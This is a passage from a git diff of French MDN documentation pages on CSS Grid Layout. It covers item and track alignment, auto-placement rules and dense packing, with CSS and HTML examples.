La propriété {{cssxref("align-items")}} définit en fait la valeur de la propriété {{cssxref("align-self")}} pour tous les éléments fils de la grille. Cela signifie qu'on peut avoir un réglage plus fin sur chacun des objets de la grille en utilisant align-self pour les objets.

- -

Dans le prochain exemple, on utilise la propriété align-self afin d'illustrer les différentes valeurs pour l'alignement. La première zone illustre le comportement par défaut pour align-self : l'objet est étiré. Le deuxième objet utilise la valeur start, le troisième utilise end et le quatrième utilise center.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(8, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 100px;
-  grid-template-areas:
-    "a a a a b b b b"
-    "a a a a b b b b"
-    "c c c c d d d d"
-    "c c c c d d d d";
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-  align-self: start;
-}
-.item3 {
-  grid-area: c;
-  align-self: end;
-}
-.item4 {
-  grid-area: d;
-  align-self: center;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_2', '500', '450')}}

-
- -

Gestion des objets avec un ratio intrinsèque

- -

La spécification indique que le comportement par défaut pour {{cssxref("align-self")}} est d'étirer l'objet sauf si celui-ci possède un ratio intrinsèque. Dans ce cas, le comportement par défaut correspond à la valeur start. En effet, si le comportement par défaut était le même pour les éléments avec un ratio intrinsèque (une image matricielle par exemple), l'étirement distordrait l'objet.

- -

Bien que ce comportement ait récemment été clarifié dans la spécification, il n'est pas encore implémenté dans les différents navigateurs. Pour le moment, il faut donc s'assurer d'utiliser {{cssxref("align-self")}} et {{cssxref("justify-self")}} avec les valeurs start pour les éléments concernés comme les images. Cela correspondra au comportement par défaut lorsqu'il aura été implémenté.

- -

Justifier les objets sur l'axe en ligne (inline axis)

- -

{{cssxref("align-items")}} et {{cssxref("align-self")}} gèrent l'alignement des objets sur l'axe de bloc. {{cssxref("justify-items")}} et {{cssxref("justify-self")}} permettent quant à eux de gérer l'alignement sur l'axe en ligne. Les valeurs disponibles sont les mêmes que pour align-self :

- -
    -
  • auto
    • -
  • normal
    • -
  • start
    • -
  • end
    • -
  • center
    • -
  • stretch
    • -
  • baseline
    • -
  • first baseline
    • -
  • last baseline
    • -
- -

Juste après, on voit le même exemple qu'avec {{cssxref("align-items")}} où on a utilisé la propriété {{cssxref("justify-self")}}.

- -

Là encore, la valeur par défaut stretch pour les objets qui n'ont pas de ratio intrinsèque. Cela signifie que, par défaut, les objets de la grille couvriront l'ensemble de la zone de grille sur laquelle ils sont placés. Dans l'exemple qui suit, le premier objet illustre cet alignement par défaut.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(8, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 100px;
-  grid-template-areas:
-    "a a a a b b b b"
-    "a a a a b b b b"
-    "c c c c d d d d"
-    "c c c c d d d d";
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-  justify-self: start;
-}
-.item3 {
-  grid-area: c;
-  justify-self: end;
-}
-.item4 {
-  grid-area: d;
-  justify-self: center;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_3', '500', '450')}}

-
- -

Comme pour {{cssxref("align-self")}} et {{cssxref("align-items")}}, on peut utiliser la propriété {{cssxref("justify-items")}} sur le conteneur de la grille afin de régler la valeur de {{cssxref("justify-self")}} pour l'ensemble des objets de la grille.

- -

Les propriétés {{cssxref("justify-self")}} et {{cssxref("justify-items")}} ne sont pas disponibles lorsqu'on utilise les boîtes flexibles car celles-ci s'étendent uniquement sur une dimension. Pour aligner les éléments sur l'axe principale d'une boîte flexible, on utilisera la propriété {{cssxref("justify-content")}}.

- -

Propriétés raccourcies

- -

La propriété {{CSSxRef("place-items")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-items")}} et {{CSSxRef("justify-items")}}. {{CSSxRef("place-self")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}}.

- -

Centrer un objet sur une zone

- -

En combinant les propriétés align-* et justify-*, on peut facilement centrer un objet sur sa zone de grille.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 200px;
-  grid-template-areas:
-    ". a a ."
-    ". a a .";
-}
-.item1 {
-  grid-area: a;
-  align-self: center;
-  justify-self: center;
-}
-
- -
<div class="wrapper">
- <div class="item1">Objet 1</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_4', '500', '480')}}

-
- -

Aligner les pistes d'une grille sur l'axe de bloc

- -

Si on a des pistes qui n'occupent pas tout l'espace du conteneur, on pourra aligner les pistes au sein du conteneur. Là aussi, on peut obtenir cet alignement sur l'axe des colonnes et l'axe des lignes : {{cssxref("align-content")}} permet d'aligner les pistes selon l'axe des colonnes et {{cssxref("justify-content")}} permettant d'aligner sur l'axe en ligne.

- -

La propriété {{cssxref("place-content")}} est une propriété raccourcie pour {{cssxref("align-content")}} et {{cssxref("justify-content")}}.

- -

Les valeurs disponibles pour {{cssxref("align-content")}}, {{cssxref("justify-content")}} et {{cssxref("place-content")}} sont :

- -
    -
  • normal
    • -
  • start
    • -
  • end
    • -
  • center
    • -
  • stretch
    • -
  • space-around
    • -
  • space-between
    • -
  • space-evenly
    • -
  • baseline
    • -
  • first baseline
    • -
  • last baseline
    • -
- -

Dans l'exemple qui suit, on a un conteneur qui mesure 500 pixels de haut sur 500 pixels de large. On définit trois pistes de ligne et trois pistes de colonnes qui mesurent chacune 100 pixels et avec une gouttière de 10 pixels. On a donc un espace disponible dans le conteneur dans chaque direction.

- -

La propriété align-content s'applique sur le conteneur de la grille car elle porte sur l'ensemble de la grille. Pour une disposition en grille, la valeur par défaut est start : cela indique que les pistes commencent à partir du coin en haut à gauche de la grille.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(3,100px);
-  height: 500px;
-  width: 500px;
-  grid-gap: 10px;
-  grid-template-areas:
-    "a a b"
-    "a a b"
-    "c d d";
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_5', '500', '520')}}

-
- -

Si on ajoute align-content avec la valeur end sur le conteneur, les pistes seront déplacées à la fin du conteneur selon l'axe des colonnes.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(3,100px);
-  height: 500px;
-  width: 500px;
-  grid-gap: 10px;
-  grid-template-areas:
-    "a a b"
-    "a a b"
-    "c d d";
-  align-content: end;
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_6', '500', '520')}}

-
- -

Pour cette propriété, on peut également utiliser des valeurs qu'on manipule avec les boîtes flexibles : space-between, space-around et space-evenly qui permettent de répartir l'espace. Si on utilise {{cssxref("align-content")}} avec space-between pour notre exemple, on voit alors que les éléments sont espacés de façon équitable.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(3,100px);
-  height: 500px;
-  width: 500px;
-  grid-gap: 10px;
-  grid-template-areas:
-    "a a b"
-    "a a b"
-    "c d d";
-  align-content: space-between;
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_7', '500', '1570')}}

-
- -

On notera qu'en utilisant ces valeurs pour répartir l'espace, cela peut agrandir les objets de la grille. Si un objet s'étale sur plusieurs pistes, un espace sera ajouté entre chaque piste afin que l'objet qui doit être agrandi puisse absorber cet espace. Aussi, si vous choisissez d'utiliser ces valeurs, assurez-vous que le contenu des pistes puisse absorber cet espace supplémentaire ou que les propriétés d'alignement les renvoient au début de la piste plutôt que de les étirer.

- -

Dans l'image qui suit, on a a placé une grille en utilisant align-content: start et une autre grille qui utilise align-content: space-between. On peut voir la façon dont les objets 1 et 2 (qui s'étalent sur deux lignes) ont gagné en hauteur pour combler l'espace entre les pistes.

- -

- -

Justifier les pistes sur l'axe des lignes

- -

Sur l'axe des lignes, on peut utiliser {{cssxref("justify-content")}} de la même façon qu'on utilisait {{cssxref("align-content")}} pour l'axe des colonnes.

- -

Avec le même exemple, on utilise {{cssxref("justify-content")}} avec la valeur space-around. Là encore, les pistes qui s'étalent sur plus d'une colonne gagnent en largeur.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(3,100px);
-  height: 500px;
-  width: 500px;
-  grid-gap: 10px;
-  grid-template-areas:
-    "a a b"
-    "a a b"
-    "c d d";
-  align-content: space-between;
-  justify-content: space-around;
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_8', '500', '500')}}

-
- -

Alignement et marges automatiques

- -

Pour aligner les objets dans une zone, on peut également utiliser des marges automatiques. Si vous avez déjà utiliser auto pour les marges droite et gauche d'un conteneur de bloc, vous savez qu'une telle marge absorbe l'espace disponible. En utilisant auto pour les deux côtés, le bloc est contraint au milieu car les deux marges occupent le plus d'espace possible.

- -

Dans l'exemple qui suit, pour l'objet 1, on utilise une marge à gauche avec auto. On peut alors voir le contenu poussé à droite de la zone (la marge à gauche occupant le plus d'espace possible).

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(3,100px);
-  height: 500px;
-  width: 500px;
-  grid-gap: 10px;
-  grid-template-areas:
-    "a a b"
-    "a a b"
-    "c d d";
-}
-.item1 {
-  grid-area: a;
-  margin-left: auto;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_9', '500', '500')}}

-
- -

On peut voir comment l'objet est aligné grâce à l'outil de mise en évidence des grilles dans Firefox.

- -

- -

L'alignement et les modes d'écriture

- -

Dans tout ces exemples, nous avons travaillé en français ou en anglais, des langues qui s'écrivent de gauche à droite. Cela signifie que les lignes de début de notre grille étaient situées en haut et à gauche lorsqu'on raisonnait avec des directions physiques.

- -

Les spécifications pour les grilles CSS et les boîtes flexibles sont conçues pour fonctionner avec les différents modes d'écriture. Cela signifie que si on travaille avec une langue qui s'écrit de droite à gauche (comme l'arabe), le début de la grille serait en haut à droite. Cela signifie également que la valeur par défaut justify-content: start placerait les pistes du côté droit de la grille. En revanche, si on utilise les marges automatiques avec margin-right ou margin-left ou si on utilise le positionnement absolu avec les valeurs top, right, bottom et left, on ne tiendra pas compte des modes d'écritures. Dans le guide suivant, nous verrons plus en détails comment les grilles et l'alignement interagissent avec les modes d'écriture. Cet aspect est fondamental si vous souhaitez développer des sites qui puissent être affichés dans plusieurs langues ou si vous souhaitez mélanger certaines langues ou modes d'écriture pour une application.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html b/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html new file mode 100644 index 0000000000..980b03ea62 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html @@ -0,0 +1,569 @@ +--- +title: Le placement automatique sur une grille CSS +slug: Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

+ +

En plus de pouvoir placer des objets de façon précise sur une grille, la spécification pour les grilles CSS définit le comportement obtenu lorsque certains des objets ne sont pas placés sur la grille (voire aucun). Pour voir comment fonctionne le placement automatique, il suffit de créer une grille avec un ensemble d'objets. Sans fournir aucune information de placement, ces objets se placeront chacun sur une cellule de la grille.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +

{{EmbedLiveSample('placement_1', '500', '230')}}

+
+ +

Définir des règles pour le placement automatique

+ +

Comme on peut le voir dans l'exemple précédent, si on crée une grille sans définir de placement, tous les objets occuperont chacun une cellule de la grille. Par défaut, les objets sont placés au fur et à mesure sur les lignes horizontales de la grille. Si on a créé des lignes supplémentaires avec grid-template-rows, les objets suivants seront placés sur ces lignes. En revanche, si la grille ne possède pas suffisamment de lignes sur la grille explicite, de nouvelles lignes, implicites, seront créées.

+ +

Dimensionner les lignes de la grille implicite

+ +

Par défaut, les lignes implicites créées automatiquement ont une taille automatique. Autrement dit, elles seront dimensionnées pour contenir les éléments qu'elles doivent placer sans que ceux-ci dépassent.

+ +

Il est toutefois possible de contrôler la taille de ces lignes grâce à la propriété grid-auto-rows. Ainsi, si on veut que les lignes créées automatiquement mesurent 100 pixels de haut, on utilisera :

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+}
+
+ +

{{EmbedLiveSample('placement_2', '500', '330')}}

+
+ +

On peut utiliser la fonction {{cssxref("minmax","minmax()")}} pour la valeur de {{cssxref("grid-auto-rows")}} afin de créer des lignes avec une taille minimale mais qui puissent être plus grandes si le contenu est plus grand que cette taille minimale.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre
+    <br>Cette cellule
+    <br>a du contenu
+    <br>supplémentaire
+    <br>et max vaut auto
+    <br>afin que la ligne
+    <br>se développe.
+  </div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+
+ +

{{EmbedLiveSample('placement_3', '500', '330')}}

+
+ +

On peut aussi passer en argument une liste de pistes qui se répèteront. Dans l'exemple ci-après, on crée une piste implicite pour une ligne de 100 pixels et une seconde de 200px. Ce motif sera utilisé tant que du contenu sera ajouté à la grille implicite.

+ +
+ + +
<div class="wrapper">
+   <div>Un</div>
+   <div>Deux</div>
+   <div>Trois</div>
+   <div>Quatre</div>
+   <div>Cinq</div>
+   <div>Six</div>
+   <div>Sept</div>
+   <div>Huit</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px 200px;
+}
+
+ +

{{EmbedLiveSample('placement_4', '500', '330')}}

+
+ +

Utiliser le placement automatique pour les colonnes

+ +

On peut également paramétrer la grille pour que les objets soient placés automatiquement en suivant les colonnes de la grille. Pour obtenir ce résultat, on utilisera la propriété {{cssxref("grid-auto-flow")}} avec la valeur column. Dans ce cas, la grille ajoutera les objets dans les lignes verticales définies avec {{cssxref("grid-template-rows")}}. Lorsqu'une colonne sera pleine, les prochains objets seront placés dans la colonne explicite suivante ou dans une colonne implicite créée automatiquement s'il n'y a plus assez de colonnes explicites. La taille des pistes pour les colonnes implicites peut être définie avec {{cssxref("grid-auto-columns")}}, cette dernière fonctionne de façon analogue à {{cssxref("grid-auto-rows")}}.

+ +

Dans le prochain exemple, on crée une grille avec trois lignes qui mesurent chacune 200 pixels de haut. On utilise le placement automatique en colonne. La première colonne qui sera créée mesurera 300 pixels de large, ensuite on aura une colonne de 100 pixels de large et ainsi de suite jusqu'à ce que tous les éléments puissent être placés.

+ +
+
.wrapper {
+  display: grid;
+  grid-template-rows: repeat(3, 200px);
+  grid-gap: 10px;
+  grid-auto-flow: column;
+  grid-auto-columns: 300px 100px;
+}
+
+ + + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+  <div>Six</div>
+  <div>Sept</div>
+  <div>Huit</div>
+</div>
+
+ +

{{EmbedLiveSample('placement_5', '500', '640')}}

+
+ +

L'ordre des éléments placés automatiquement

+ +

Une grille peut contenir un mélange d'éléments. Certains éléments peuvent avoir une position définie et d'autres être placés automatiquement. Ce placement automatique peut s'avérer utile lorsque l'ordre des éléments dans le document est celui qu'on veut utiliser pour organiser la grille : il n'y a alors pas besoin d'écrire de règles CSS pour positionner les éléments un par un. La spécification détaille exhaustivement l'algorithme de placement des objets sur la grille, mais voyons ici les quelques règles simples qu'il faut principalement retenir.

+ +

Modification de l'ordre du document

+ +

Le placement des éléments qui n'ont pas eu d'ordre défini sont placés selon l'algorithme décrit dans la section  “order modified document order”. Cela signifie que si on utilise uniquement la propriété order, les éléments seront placés selon cet ordre plutôt que selon l'ordre indiqué par le DOM. Sinon, l'ordre des éléments sera celui décrit par le document source.

+ +

Les éléments avec des propriétés de placement

+ +

La grille commencera par placer les éléments pour lesquels on a défini une position. Dans l'exemple qui suit, on a une grille avec 12 éléments, l'élément 2 et l'élément 5 sont placés en utilisant les lignes. On put voir comment ces deux éléments sont placés et comment les autres sont placés automatiquement dans les espaces restants. Les objets placés automatiquement seront placés avant les éléments qui sont placés, dans l'ordre du DOM.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+  <div>Six</div>
+  <div>Sept</div>
+  <div>Huit</div>
+  <div>Neuf</div>
+  <div>Dix</div>
+  <div>Onze</div>
+  <div>Douze</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+
+ +

{{EmbedLiveSample('placement_6', '500', '450')}}

+
+ +

Gérer les éléments qui s'étalent sur plusieurs pistes

+ +

On peut utiliser les propriétés de placement tout en tirant parti du placement automatique. Dans le prochain exemple, on complète la disposition en indiquant que les éléments 1, 4 et 9 (4n+1) doivent occuper deux pistes, pour les colonnes et pour les lignes. Pour obtenir ce résultat, on utilise les propriétés {{cssxref("grid-column-end")}} et {{cssxref("grid-row-end")}} avec la valeur span 2. La ligne de début sera déterminée automatiquement et la ligne de fin sera deux pistes plus loin.

+ +

On peut voir coment cela laisse des espaces dans la grille car lorsqu'un élément placé automatiquement n'a pas suffisamment de place sur une piste, une nouvelle ligne sera créée jusqu'à ce que l'élément ait la place.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+  <div>Six</div>
+  <div>Sept</div>
+  <div>Huit</div>
+  <div>Neuf</div>
+  <div>Dix</div>
+  <div>Onze</div>
+  <div>Douze</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+
+ +

{{EmbedLiveSample('placement_7', '500', '770')}}

+
+ +

Combler les espaces

+ +

En dehors des éléments placés explicitement, la grille place les éléments automatiques en respectant l'ordre du DOM. C'est généralement le résultat qu'on souhaite lorsqu'on met en forme un document comme un formulaire. Toutefois on veut parfois obtenir une disposition plus dense, sans vide entre les différents éléments.

+ +

Pour cela, sur le conteneur, on ajoute la propriété {{cssxref("grid-auto-flow")}} avec la valeur dense. C'est la même propriété qu'on utilise pour modifier l'ordre du flux avec column. On peut aussi obtenir une disposition dense, rangée par colonne en utilisant les deux valeurs pour la propriété : grid-auto-flow: column dense.

+ +

Avec cette valeur, la grille cherchera donc à combler les espaces qu'elle a laissés quitte à ne pas respecter l'ordre du DOM. En revanche, l'ordre de la navigation au clavier (tab order) suivra toujours l'ordre du document. Nous étudierons cet aspect plus en détails dans un article sur l'accessibilité.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+  <div>Six</div>
+  <div>Sept</div>
+  <div>Huit</div>
+  <div>Neuf</div>
+  <div>Dix</div>
+  <div>Onze</div>
+  <div>Douze</div>
+</div>
+
+ +
.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+  grid-auto-flow: dense;
+}
+
+ +

{{EmbedLiveSample('placement_8', '500', '730')}}

+
+ +

Les éléments anonymes de la grille

+ +

Dans la spécification, on utilise le concept d'élément anonyme. Ces éléments sont ceux qui sont créés lorsqu'on a une chaîne de caractères dans le conteneur de la grille et que celle-ci n'est pas contenue dans un autre élément. Dans l'exemple ci-après, on a trois éléments sur la grille : le premier est un élément anonyme car il n'est placé dans aucun élément, il sera alors placé automatiquement. Les deux éléments suivants sont placés dans des div et peuvent être placés automatiquement ou grâce à une autre méthode de positionnement.

+ +
<div class="grid">
+  Je suis une chaîne de caractères et je serai placé
+  automatiquement.
+  <div>Un élément de la grille</div>
+  <div>Un élément de la grille</div>
+</div>
+
+ +

Les éléments anonymes sont toujours placés automatiquement car on ne peut pas les cibler autrement. Aussi, si on a du texte sans balise dans la grille, il faut se rappeler que celui-ci peut être placé à un endroit imprévu du fait des règles de placement automatique.

+ +

Les cas d'utilisation pour le placement automatique

+ +

Le placement automatique peut être utile lorsqu'on a un ensemble d'objets qui se ressemblent. Ce peut être des éléments qui n'ont pas d'ordre logique particulier : une galerie de photos, une liste de produits. Dans ces cas de figure, on peut choisir d'utiliser une disposition dense afin de combler les trous de la grille. Dans l'exemple qui représente la galerie d'images, on a certaines images en paysage et d'autres en portrait (lorsqu'on utilise la classe landscape l'élément s'étend sur deux colonnes). On utilise ensuite grid-auto-flow: dense afin de créer une grille dense.

+ +
+
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
+  grid-gap: 10px;
+  grid-auto-flow: dense;
+  list-style: none;
+  margin: 1em auto;
+  padding: 0;
+  max-width: 800px;
+}
+.wrapper li {
+  border: 1px solid #ccc;
+}
+.wrapper li.landscape {
+  grid-column-end: span 2;
+}
+.wrapper li img {
+  display: block;
+  object-fit: cover;
+  width: 100%;
+  height: 100%;
+}
+
+ +
<ul class="wrapper">
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
+  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
+  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+  <li class="landscape"><img src="http://placehold.it/350x200" alt="placeholder"></li>
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+  <li><img src="http://placehold.it/200x300" alt="placeholder"></li>
+</ul>
+
+ +

{{EmbedLiveSample('placement_9', '500', '1300')}}

+
+ +

Le placement automatique peut également aider à disposer des éléments d'interface utilisateur qui ont un ordre logique. Dans l'exemple suivant, on voit comment manipuler les listes de définition. Les listes de définition sont intéressantes car il n'y a pas de niveau de regroupement pour regrouper un terme et ses définitions. Dans cet exemple, on autorise le placement automatique mais on a une classe pour qu'un élément dt démarre sur la première ligne et que l'élément  dd sur la  ligne 2. On s'assure ainsi que les termes sont bien en face de chaque définition, peu importe le nombre de définitions qu'on a pour un terme.

+ +
+ + +
<div class="wrapper">
+  <dl>
+    <dt>Mammals</dt>
+    <dd>Cat</dd>
+    <dd>Dog</dd>
+    <dd>Mouse</dd>
+    <dt>Fish</dt>
+    <dd>Guppy</dd>
+    <dt>Birds</dt>
+    <dd>Pied Wagtail</dd>
+    <dd>Owl</dd>
+  <dl>
+</div>
+
+ +
dl {
+  display: grid;
+  grid-template-columns: auto 1fr;
+  max-width: 300px;
+  margin: 1em;
+  line-height: 1.4;
+}
+dt {
+  grid-column: 1;
+  font-weight: bold;
+}
+dd {
+  grid-column: 2;
+}
+
+ +

{{EmbedLiveSample('placement_10', '500', '230')}}

+ +
+

Note : Voir cet article de SitePoint à propos de la disposition en briques pour d'autres cas d'utilisation.

+
+
+ +

Qu'est-ce que le placement automatique ne permet pas de réaliser (actuellement) ?

+ +

Certaines questions se posent encore. Actuellement on ne peut pas cibler toutes les autres cellules de la grille. On ne peut pas non plus définir une règle pour « placer tous les éléments automatiquement après la prochaine ligne intitulée n » (pour que certaines lignes soient sautées). Cette question est décrite sur le dépôt GitHub du CSSWG, n'hésitez pas à ajouter vos exemples de scénarios.

+ +

Si vous rencontrez des cas d'utilisation problématiques avec le placement automatique et les grilles, vous pouvez consulter les issues existantes et les compléter ou ajouter les vôtres. Cela permettra que les prochaines versions de la spécification soient meilleures.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/fr/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html new file mode 100644 index 0000000000..c6395dbee9 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -0,0 +1,625 @@ +--- +title: Les concepts de base des grilles CSS +slug: Web/CSS/CSS_Grid_Layout/Les_concepts_de_base +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

+ +

Le module CSS Grid Layout ajoute à CSS une grille à deux dimensions. Les grilles peuvent être utilisées pour agencer des pages entières ou de petits éléments d'interface. Cet article introduit CSS Grid Layout, et la terminologie de la spécification CSS Grid Layout Level 1. Les fonctionnalités évoquées seront expliquées plus en détail dans le reste du guide.

+ +

Qu'est-ce qu'une grille ?

+ +

Une grille est un ensemble de lignes horizontales et verticales qui se croisent – les premières définissant les rangées, et les secondes les colonnes. Les éléments sont placés sur la grille en fonction de ces rangées et colonnes. Les fonctionnalités sont les suivantes :

+ +

Pistes à taille fixe ou variable

+ +

On peut créer une grille avec des pistes à taille fixes en utilisant une unité comme le pixel. Pour les pistes à taille variable on peut utiliser le pourcentage ou la nouvelle unité fr créée à cet effet.

+ +

Placement des éléments

+ +

Pour placer les éléments sur la grille, on peut utiliser le numéro ou le nom d'une ligne, ou cibler une zone particulière. La grille contient aussi un algorithme pour placer les éléments qui n'ont pas été placés explicitement.

